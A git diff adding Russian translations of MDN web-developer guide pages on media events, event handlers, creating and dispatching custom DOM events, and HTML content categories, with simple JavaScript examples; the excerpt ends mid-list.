index 0000000000..655e71ec61
--- /dev/null
+++ b/files/ru/web/guide/events/media_events/index.html
@@ -0,0 +1,269 @@
+---
+title: 'События в медиа (audio, video) объектах'
+slug: Web/Guide/Events/Media_events
+tags:
+  - Видео
+  - Медиа
+  - аудио
+  - события
+translation_of: Web/Guide/Events/Media_events
+---
+<p>Встроенные с помощью HTML тегов {{ HTMLElement("audio") }} или {{ HTMLElement("video") }} медиа объекты генерируют различные события. В этом разделе приведен их список и описание.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Название события</th>
+   <th>Описание</th>
+  </tr>
+  <tr>
+   <td><code>abort</code></td>
+   <td>Отправляется, когда воспроизведение прерывается; Например, если воспроизведение медиа прерывается и начинается с самого начала, это событие будет отправлено.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("canplay")}}</code></td>
+   <td>Отправляется, когда доступно достаточно данных для того, что бы медиа могло воспроизвестись, по крайней мере, в течение нескольких кадров. Соответствует состоянию (readyState) HAVE_ENOUGH_DATA.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("canplaythrough")}}</code></td>
+   <td>Отправляется, когда состояние готовности изменяется к CAN_PLAY_THROUGH. Указывает, что медиа может быть полностью воспроизведено без перерыва, предполагая, что скорость загрузки остается, по крайней мере на нынешнем уровне. Примечание: Ручная установка CURRENTTIME вызовет событие canplaythrough в Firefox. В других браузерах это может не произойти.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("durationchange")}}</code></td>
+   <td>Метаданные были загружены или изменены, что указывает на изменение в продолжительности медиа. Может быть отправлено, например, когда медиа загружено достаточно для того, чтобы продолжительность уже была известна.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("emptied")}}</code></td>
+   <td>Медиа стало пустым. Например, это событие отправляется, если медиа уже загружено (или частично заргужено), и метод <a class="internal" href="/En/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" title="en/nsIDOMHTMLMediaElement"><code>load()</code></a> был вызван что бы его перезагрузить.</td>
+  </tr>
+  <tr>
+   <td>encrypted <span style="line-height: 1.5;">{{experimental_inline}}</span></td>
+   <td>The user agent has encountered initialization data in the media data.</td>
+  </tr>
+  <tr>
+   <td><code>ended</code></td>
+   <td>Отправляется, когда воспроизведение завершено.</td>
+  </tr>
+  <tr>
+   <td><code>error</code></td>
+   <td>Отправляется, когда произошла ошибка.  Атрибут <code>error</code> медиа объекта содержит более подробную информацию об ошибке. Смотрите <a href="/en-US/docs/Web/Guide/HTML/Using_HTML5_audio_and_video#Error_handling">Error handling</a>, что бы узнать подробнее.</td>
+  </tr>
+  <tr>
+   <td><code>interruptbegin</code></td>
+   <td>Отправляется, когда воспроизведение на Firefox OS устройстве прервано по любой из причин - например, если приложение ушло в фон или аудио с большим приоритетом начало воспроизведение. См. <a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a>.</td>
+  </tr>
+  <tr>
+   <td><code>interruptend</code></td>
+   <td>Отправляется, когда ранее прерванное воспроизвдеение на Firefox OS устройстве продолжает воспроизведение. См. <a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a></td>
+  </tr>
+  <tr>
+   <td><code>{{event("loadeddata")}}</code></td>
+   <td>Завершена загрузка первого кадра (frame) медиа.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("loadedmetadata")}}</code></td>
+   <td>Метаданные медиа были загружены; все атрибуты теперь содержат максимум информации.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("loadstart")}}</code></td>
+   <td>Отправляется, когда начинается загрузка медиа.</td>
+  </tr>
+  <tr>
+   <td><code>mozaudioavailable</code></td>
+   <td>Sent when an audio buffer is provided to the audio layer for processing; the buffer contains raw audio samples that may or may not already have been played by the time you receive the event.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("pause")}}</code></td>
+   <td>Отправляется, когда воспроизведение приостановлено.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("play")}}</code></td>
+   <td>Отправляется, когда воспроизведение медиа начинается после того, как было приостановлено; то есть, когда воспроизведение возобновляется после паузы.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("playing")}}</code></td>
+   <td>Отправляется, когда начинается воспроизведение медиа (в первый раз, после паузы или после перезапуска).</td>
+  </tr>
+  <tr>
+   <td><code>{{event("progress")}}</code></td>
+   <td>Отправляется периодически для информирования о прогрессе скачивания медиа файла. Информация об объеме загруженных данных доступна в атрибуте "buffered" элемента медиа.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("ratechange")}}</code></td>
+   <td>Отправляется, когда изменяется скорость воспроизведения.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("seeked")}}</code></td>
+   <td>Отправляется, когда операция поиска завершена.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("seeking")}}</code></td>
+   <td>Отправляется, когда начинается операция поиска.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("stalled")}}</code></td>
+   <td>Sent when the user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("suspend")}}</code></td>
+   <td>Отправляется, когда загрузка медиа приостановлена. Это может прозойти как потому, что загрузка была завершена, так и по другим причинам.</td>
+  </tr>
+  <tr>
+   <td><code>{{event("timeupdate")}}</code></td>
+   <td>Отправляется, когда изменяется значение атрибута <code>currentTime.</code></td>
+  </tr>
+  <tr>
+   <td><code>{{event("volumechange")}}</code></td>
+   <td>Отправляется, когда изменяется громкость звука (также когда звук включен или выключен).</td>
+  </tr>
+  <tr>
+   <td><code>{{event("waiting")}}</code></td>
+   <td>Отправляется, когда операция (напр. воспроизведение) была отложена до завершение другой операции (напр. поиск).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Вы можете легко следить за этими событиями, используя следующий код:</p>
+
+<pre class="brush: js">var v = document.getElementsByTagName("video")[0];
+v.addEventListener("seeked", function() { document.getElementsByTagName("video")[0].play(); }, true);
+v.currentTime = 10.0;
+</pre>
+
+<p>В этом примере первый элемент получает видео и вешает на него событие "seeked". Обработчик вызывает метод элемента play(), который начинает воспроизведение.</p>
+
+<p>Затем, в строке 3 примера, устанавливается атрибут currentTime элемента в значение 10.0, что инициирует переход к десятой секунде видео. Это приводит к отправлению события "seeking" после начала операции, и события "seeked" после её завершения.</p>
+
+<p>Другими словами, этот пример пытается перейти к 10-секундной видео, после чего начинает воспроизведение.</p>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }} (Prior to Gecko 2.0, media events bubbled.)</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>encrypted</td>
+   <td>
+    <p class="p1">{{CompatChrome(42.0)}}</p>
+   </td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+  </tr>
+  <tr>
+   <td>load</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>Removed in {{ CompatGeckoDesktop("1.9.2") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>mozaudioavailable {{ non-standard_inline() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>suspend</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+  </tr>
+  <tr>
+   <td>encrypted</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatNo }}</span></td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+   <td>
+    <p class="p1">{{CompatChrome(42.0)}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>load</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+  </tr>
+  <tr>
+   <td>mozaudioavailable {{ non-standard_inline() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("2.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+  </tr>
+  <tr>
+   <td>suspend</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{ CompatUnknown() }}</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/guide/events/overview_of_events_and_handlers/index.html b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html
new file mode 100644
index 0000000000..b9f689caa2
--- /dev/null
+++ b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html
@@ -0,0 +1,130 @@
+---
+title: Обзор событий и обработчиков
+slug: Web/Guide/Events/Overview_of_Events_and_Handlers
+translation_of: Web/Guide/Events/Overview_of_Events_and_Handlers
+---
+<div class="summary">
+<p>Эта обзорная статья о событиях и их обработчиках описывает шаблон проектирования кода, который используется для реагирования на события, возникающие, когда браузер получает доступ к web-странице, и содержит подборку типов подобных событий, которые современные брауезеры могут обрабатывать.</p>
+</div>
+
+<p>События и их обработчики представляют собой основную технику в JavaScript для реагирования на события, возникающие, когда браузер получает доступ к web-странице, включая события о подготовке страницы к отображению, взаимодействии с ее содержимым, в зависимости от устройства, на котором браузер был запущен, и многие другие случаи, такие как воспроизведение потоковой медиа-информации или расчет времени анимации.</p>
+
+<p>События и обработчики событий заняли центральное место в web-программировании с добавлением языка в браузеры, сопровождая смену архитектуры рендеринга от перехвата и загрузки страницы к управлению с помощью событий, основанном на перекомпановке (reflow). Сначала браузер ожидает, пока он получит все ресурсы, связанные со страницей, чтобы проанализировать, обработать, отрисовать и предоставить страницу пользователю. Отрисованная страница остается неизменной, пока браузер не запросит новую. С изменением в подходе к рендерингу динамической страницы, браузер непрерывно зацикливается между обработкой, отрисовкой, представлением содержимого и ожиданием некоторого нового триггера события. Триггеры событий включают, например, завершение загрузки ресурса по сети<em>,</em> скачивание изображений, которые теперь могут быть отрисованы на экране, завершение браузером анализа ресурса, обработку HTML-содержимого страницы, взаимодействие пользователя с содержимым страницы<em>,</em> нажатия кнопок. Дуглас Крокфорд хорошо объясняет это изменение в нескольких лекциях, особенно своей речи <em>"Неудобные API: Теория DOM",</em> которая описывает изменения в потоке изначального потока браузера от управляемого событиями браузера.</p>
+
+<div style="margin: 0 auto; width: 68%;"><img alt="A comparison of the sequential and event-driven browser load sequences." src="https://mdn.mozillademos.org/files/6641/Browser_sequence_comparitive.svg" style="height: 454px; width: 1857px;"></div>
+
+<p>Второй подход изменяет последние шаги, переходя от просторого потока к бесконечному циклу, где ожидание и обработка возникновения новых событий следует за отрисовкой. Введение динамического подхода позволяет странице быть частично отрендериной, даже когда браузер еще не закончил извлечение всех ресурсов; это так же разрешено для действий, управляемыми событиями, которые JavaScript использует. (Речь доступна на нескольких ресурсах, включая <a href="http://www.youtube.com/watch?v=Y2Y0U-2qJMs">этот</a>.) На данный момент, все среды исполнения JavaScript используют события и их обработчики.</p>
+
+<h2 id="Шаблон_проектирования_событий">Шаблон проектирования событий</h2>
+
+<p>Система событий, по своей сути, простой программный шаблон проектирования. Он начинается с соглашения о виде события и:</p>
+
+<ul>
+ <li>имени-строки, используемой для собыйтия,</li>
+ <li>типа структуры данных, используемых для представления ключевых свойств события,</li>
+ <li>объекта JavaScript, который будет 'вызывать' это событие.</li>
+</ul>
+
+<p>Шаблон реализуется с помощью:</p>
+
+<ul>
+ <li>определение JavaScript-функции, которая принимает в качестве аргумента структуру данных, которая была согласована ранее, и</li>
+ <li>регистрации функции с помощью имени-строки через объект, который будет вызывать событие.</li>
+</ul>
+
+<p>Функция считается "слушателем" или "обработчиком", где оба именами взаимнозаменяемы. Этому шаблону можно легко следовать с использованием полностью пользовательского кода, как объяснено в <a href="/en-US/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">статье о пользовательских событиях</a>. Шаблон так же используется современными web-браузерами, определяющими множество событий, которые вызываются в ответ на пользовательский ввод или активность браузера.</p>
+
+<p>Современные браузеры следуют событийному шаблону, используя стандартизированный подход. В качестве структуры данных для свойств события они применяют объект, полученный от объекта <code>EventPrototype</code>. Для регистратрации функции, которая будет обрабатывать эту структуру даных, используется метод, называемый <code>addEventListener</code>, который ожидает в качестве аргумента имя-строку, соответствующую типу события, и функцию-обработчика. В итоге, браузеры определяют огромное число объектов источников событий и широкое разнообразие типов событий, сформированных объектами.</p>
+
+<h2 id="Button_Event_Handler" name="Button_Event_Handler">Пример обработчика события кнопки</h2>
+
+<p>К примеру, браузерный элемент <code>button</code> предназначен для вызова события с именем  <code>'click'</code> в ответ на нажатие кнопки мыши или прикосновене пальца к чувствительной части экрана. В HTML мы можем определить  <code>button</code> как:</p>
+
+<pre class="brush: html">&lt;button id="buttonOne"&gt;Click here to emit a 'click' event&lt;/button&gt;</pre>
+
+<p>и, в коде JavaScript, мы можем сначала определить функцию для прослушивания этого события <code>'click'</code> :</p>
+
+<pre class="brush: js">var example_click_handler = function (ev){
+    var objKind = (ev instanceof Event) ? "EventPrototype" : "ObjectPrototype";
+    alert("We got a click event at " + ev.timeStamp + " with an argument object derived from: " + objKind );
+};</pre>
+
+<p>и затем зарегестрировать свою функцию с помощью объекта <code>Button</code> или со стороны скрипта, используя представление DOM (Document Object Model) на HTML-странице:</p>
+
+<pre class="brush: js">var buttonDOMElement = document.querySelector('#buttonOne');
+buttonDOMElement.addEventListener('click', example_click_handler);</pre>
+
+<p>или на самой HTML-странице, добавив функцию как значение атрибута <code>'onclick'</code>, хотя этот вариант обычно используется на очень  простых web-страницах.</p>
+
+<p>{{ EmbedLiveSample('Button_Event_Handler') }}</p>
+
+<p>Этот код полагается на соглашение о том, что существует некоторый вид события, называемый <code>'click'</code> , который вызовет все функции-слушатели (или 'обработчи') с объектом-аргументом <code>Event</code> (на данный момент, в этом случае производный от объекта <code>MouseEvent</code> ) и будет запущен после манипуляций пользователя с элементами <code>button</code> на HTML-странице. Код не имеет видимого воздействия, пока пользователь не использует кнопки, наводит указатель мыши на элемент HTML и нажимает на левую кнопку или устанавливает палец или стилус на некоторое место на экране, выше кнопки; когда это произойдет, <code>buttonDOMElement</code> объекта JavaScript вызовет функцию <code>example_click_handler</code> с объектом <code>Event</code> в качестве аргумента. Функция, в свою очередь, исполнит любые действия, описанные программистом, в данном случае отрыв диалоговое окно HTML. Заметим, что обработчик имеет доступ к объекту <code>ev</code>, так как тот передается в качестве аргумента; объект содержит информацию о событие, в частности время его возникновения.</p>
+
+<p>Во втором варианте, интегрирован в web-страницу намного более современный JavaScript обернут в событийный вызов функции, чтобы убедиться, что код будет выполнен только тогда, когда HTML будет обработан и доступен для изменения или декорирования. Например, код может быть объявлен так:</p>
+
+<pre class="brush: js">var funcInit = function(){
+    // user code goes here and can safely address all the HTML elements from the page
+    // since the document has successfully been 'loaded'
+}
+document.addEventListener('DOMContentLoaded', funcInit);
+</pre>
+
+<p>так что этот код будет вызван только после того, как объект <code>document</code> вызовет событие <code>'DOMContentLoaded'</code>, потому что HTML был проанализирован и были созданы объекты Javasript,   представляющие каждый узел HTML-документа. Заметим, что в этом примере, код даже не передает аргумент события в функцию, потому что тому никогда не понадобится использовать данные, описанные в нем; скорее, код всего лишь нужно подождать, пока не случится событие.</p>
+
+<p>Шаблон легко изучить и внедрить. Сложность с событиями возникает из-за необходимости изучить большое разнообразие событий, которые представлены в современных web-браузерах. Так же есть некоторая сложность в понимании, как писать обработчики, так как данный код работает ассинхронно и потенциально может быть вызван несколько раз подряд, но в немного другой ситуации.</p>
+
+<h2 id="Важные_события">Важные события</h2>
+
+<p>Web-браузеры определяют большое число событий, поэтому не практично описывать их все. <a href="/en-US/docs/Web/Reference/Events">Event Reference</a> призван содержать список стандартных событий, используемых в современных браузерах.</p>
+
+<p>В общем случае, события различного вида выделяют, основываясь на объекте, который вызывает данное событие, включая:</p>
+
+<ul>
+ <li>объект <code>window</code>, на случай изменения размера браузера,</li>
+ <li>объект <code>window.screen</code>, на случай изменения положения устройства,</li>
+ <li>объект <code>document</code>, включая загрузку, модификацию, пользовательское взаимодействие и разгрузку страницы,</li>
+ <li>объект в DOM (объектная модель документа) дереве, включая пользовательское взаимодействие или изменения,</li>
+ <li>объект <code>XMLHttpRequest</code>, используемый для запросов сети, и</li>
+ <li>медиа-объекты, такие как <code>audio</code> и <code>video</code>, когда медиа-потоковые плееры изменяют состояние.</li>
+</ul>
+
+<p>хотя этот список на данный момент неполный.</p>
+
+<p>Некоторые события, которые стоит отметить:</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Этот список событий будет нуждаться в доработке, чтобы соответствовать действительности; эта работа ожидает некоторой глобальной реорганизации в документе. Так же нужно найти хорошее объяснение событий, включая события во время загрузки страницы, таких, как частично описаных в <em><a href="http://ablogaboutcode.com/2011/06/14/how-javascript-loading-works-domcontentloaded-and-onload">этой статье</a>  или  <a href="http://stackoverflow.com/questions/1795438/load-and-execution-sequence-of-a-web-page">этом вопросе на  Stack Overflow</a>. </em></p>
+</div>
+
+<ul>
+ <li>глобальный объект <a href="/en-US/docs/Web/API/Window"><code>window</code></a> вызывает событие, называемое <a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)"><code>'load'</code></a>, когда страница закончила рендеринг, подразумевая, что все ресурсы были скачаны и применены, так что скрипт был выполнен и изображения отображены,</li>
+ <li>глобальный объект <a href="/en-US/docs/Web/API/Window"><code>window</code></a> вызывает событие, называемое <a href="/en-US/docs/Web/Reference/Events/resize"><code>'resize'</code></a>, когда высота или ширина окна браузера была измененеа пользователем,</li>
+ <li>объект DOM <a href="/en-US/docs/Web/API/Document"><code>document</code></a>, представляющий HTML-документ, вызывает событие, называемое <code><a href="/en-US/docs/Web/Reference/Events/DOMContentLoaded">'DOMContentLoaded'</a></code>, когда документ закончил загрузку,</li>
+ <li>объект узла DOM, такой как <a href="/en-US/docs/Web/HTML/Element/div"><code>div</code></a> или <a href="/en-US/docs/Web/HTML/Element/button"><code>button</code></a>, вызывающий событие, называемое <a href="/en-US/docs/Web/Reference/Events/click"><code>'click'</code></a>, когда пользователь нажимает кнопку мыши, пока ее указатель находится поверх узла DOM на HTML-странице.</li>
+</ul>
+
+
+
+<h2 id="Иерархия_объекта_событий">Иерархия объекта событий</h2>
+
+<p>Web-браузер определяет множество событий различного вида. Каждое описание включает, как структуру данных, передающуюся в обработчика, объект, который наследуется от объекта <code>EventPrototype</code>.</p>
+
+<p>Частичная диаграма иерархии класса объекта событий:</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Эта диаграма неполная.</p>
+</div>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6633/Js_Event_Object_Hierarchy.svg" style="height: 496px; width: 1417px;"></p>
+
+<p>Web API Документация содержит <a href="/en-US/docs/Web/API/Event">страницу, описывающую объект событий</a>, который так же включает известные события DOM, подклассы объекта <code>Event</code>.</p>
+
+<h2 id="Документации">Документации</h2>
+
+<p>Три ресурса на MDN (Mozilla Developer Network) частично полезные для программистов, желащих работать с событиями:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Events">Гайд по событиям</a>, который является частью <a href="/en-US/docs/Web/Guide">Web Developers' Guide</a>,</li>
+ <li><a href="/en-US/docs/Web/Reference/Events">Event Reference</a>,</li>
+ <li>Web API Документация по объекту <a href="/en-US/docs/Web/API/Event"><code>Event</code></a>.</li>
+</ul>
diff --git a/files/ru/web/guide/events/создание_и_вызов_событий/index.html b/files/ru/web/guide/events/создание_и_вызов_событий/index.html
new file mode 100644
index 0000000000..9e7a8f099b
--- /dev/null
+++ b/files/ru/web/guide/events/создание_и_вызов_событий/index.html
@@ -0,0 +1,92 @@
+---
+title: Создание и вызов событий
+slug: Web/Guide/Events/Создание_и_вызов_событий
+tags:
+  - DOM
+  - JavaScript
+  - events
+  - события
+translation_of: Web/Guide/Events/Creating_and_triggering_events
+---
+<p>Эта статья демонстрирует, как создавать и вызывать пользовательские DOM-события. Такие события часто называют <strong>исскуственными</strong> событиями, по отношению к событиям, производимым браузером.</p>
+
+<h2 id="Создание_собственных_событий">Создание собственных событий</h2>
+
+<p>События могут быть созданы с помощью  конструктора <code><a href="/ru/docs/Web/API/Event">Event</a></code>:</p>
+
+<pre class="brush: js">var event = new Event('build');
+
+// Подписываемся на событие
+elem.addEventListener('build', function (e) { ... }, false);
+
+// Вызываем событие
+elem.dispatchEvent(event);</pre>
+
+<p>Этот конструктор поддерживается во всех современных браузерах (кроме Internet Explorer). Более подробную информацию смотрите ниже <a href="#The_old-fashioned_way">"Старомодный способ"</a>.</p>
+
+<h3 id="Добавление_пользовательских_данных_–_CustomEvent()">Добавление пользовательских данных – CustomEvent()</h3>
+
+<p>Чтобы добавить больше данных к объекту event, существует интерфейс <a href="/ru/docs/Web/API/CustomEvent">CustomEvent</a>, и вы можете использовать свойство <u><strong>detail</strong></u>, чтобы передать собственные данные. Например, событие может быть создано так:</p>
+
+<pre class="brush: js">var event = new CustomEvent('build', { 'detail': elem.dataset.time });</pre>
+
+<p>Это позволит вам получить доступ к дополнительным данным в обработчике:</p>
+
+<pre class="brush: js">function eventHandler(e) {
+  log('The time is: ' + e.detail);
+}
+</pre>
+
+<h3 id="Старомодный_способ"><a id="The_old-fashioned_way" name="The_old-fashioned_way">Старомодный способ</a></h3>
+
+<p>Старый способ создать событие использует API в стиле Java. Пример:</p>
+
+<pre class="brush: js">// Создание события
+var event = document.createEvent('Event');
+
+// Назначить имя событию
+event.initEvent('build', true, true);
+
+// Слушаем событие
+document.addEventListener('build', function (e) {
+  // e.target соотетствует объекту document
+}, false);
+
+// target события может быть любой элемент
+document.dispatchEvent(event);
+
+</pre>
+
+<h2 id="Вызов_встроенных_событий">Вызов встроенных событий</h2>
+
+<p>Этот пример показывает симуляцию клика (программно сгенерированное событие клика) по галочке чекбокса, используя DOM-методы. <a class="external" href="/samples/domref/dispatchEvent.html">Просмотр действующих примеров.</a></p>
+
+<pre class="brush: js">function simulateClick() {
+  var event = new MouseEvent('click', {
+    'view': window,
+    'bubbles': true,
+    'cancelable': true
+  });
+  var cb = document.getElementById('checkbox');
+  var canceled = !cb.dispatchEvent(event);
+  if (canceled) {
+    // A handler called preventDefault.
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault.
+    alert("not canceled");
+  }
+}</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility" style="line-height: 30px; font-size: 2.14285714285714rem;">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Event.Event")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("document.createEvent()")}}</li>
+ <li>{{domxref("Event.initEvent()")}}</li>
+ <li>{{domxref("EventTarget.dispatchEvent()")}}</li>
+ <li>{{domxref("EventTarget.addEventListener()")}}</li>
+</ul>
diff --git a/files/ru/web/guide/html/content_categories/index.html b/files/ru/web/guide/html/content_categories/index.html
new file mode 100644
index 0000000000..7a7b3eb1fe
--- /dev/null
+++ b/files/ru/web/guide/html/content_categories/index.html
@@ -0,0 +1,171 @@
+---
+title: Категории контента
+slug: Web/Guide/HTML/Content_categories
+translation_of: Web/Guide/HTML/Content_categories
+---
+<p><span class="seoSummary">Каждый элемент <a href="/ru/docs/Web/HTML">HTML</a> принадлежит некоторому количеству категорий контента, которые объединяют элементы с общим набором характеристик. Такая группировка является свободной, то есть не задает на самом деле отношение между элементами таких типов, но помогает определить и описать их поведение и правила, которым они должны следовать, особенно когда дело доходит до сложных деталей. Также возможна ситуация, когда элемент не входит <em>ни в одну</em> из этих категорий.</span></p>
+
+<p>Существует три типа категорий контента:</p>
+
+<ul>
+ <li>Основные категории контента, описывающие общие для многих элементов правила;</li>
+ <li>Категории контента для элементов форм, описывающие общие правила для элементов форм;</li>
+ <li>Особые категории контента, описывающие редкие категории, актуальные только для нескольких элементов, возможно, лишь в особом контексте.</li>
+</ul>
+
+<div class="note">
+<p><strong>Обратите внимание:</strong> Более подробное обсуждение данных категорий контента и их сравнительных особенностей выходит за рамки данной статьи; можно обратиться к <a href="https://html.spec.whatwg.org/multipage/dom.html#kinds-of-content">соответствующим разделам спецификации HTML</a> (на английском).</p>
+</div>
+
+<div style="width: 50%;"><a href="/@api/deki/files/6244/=Content_categories_venn.png" title="Content_categories_venn.png"><img alt="Content_categories_venn.png" class="default internal" src="/@api/deki/files/6244/=Content_categories_venn.png?size=webview" style="height: 200px; width: 350px;"></a></div>
+
+<h2 id="Main_content_categories" name="Main_content_categories">Основные категории контента</h2>
+
+<h3 id="Метаданные">Метаданные</h3>
+
+<p>Элементы, принадлежащие к <em>категории метаданных,</em> изменяют отображение или поведение HTML-документа, связывают его с другими документами и предоставляют другую <em>дополнительную</em> информацию о документе.</p>
+
+<p>Элементами метаданных являются:  {{HTMLElement("base")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} и {{HTMLElement("title")}}.</p>
+
+<h3 id="Основной_поток">Основной поток</h3>
+
+<p>Элементы основного потока обычно содержат текст и встроенный контент.</p>
+
+<p>{{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}},{{HTMLElement("bdo")}}, {{HTMLElement("bdi")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("main")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, 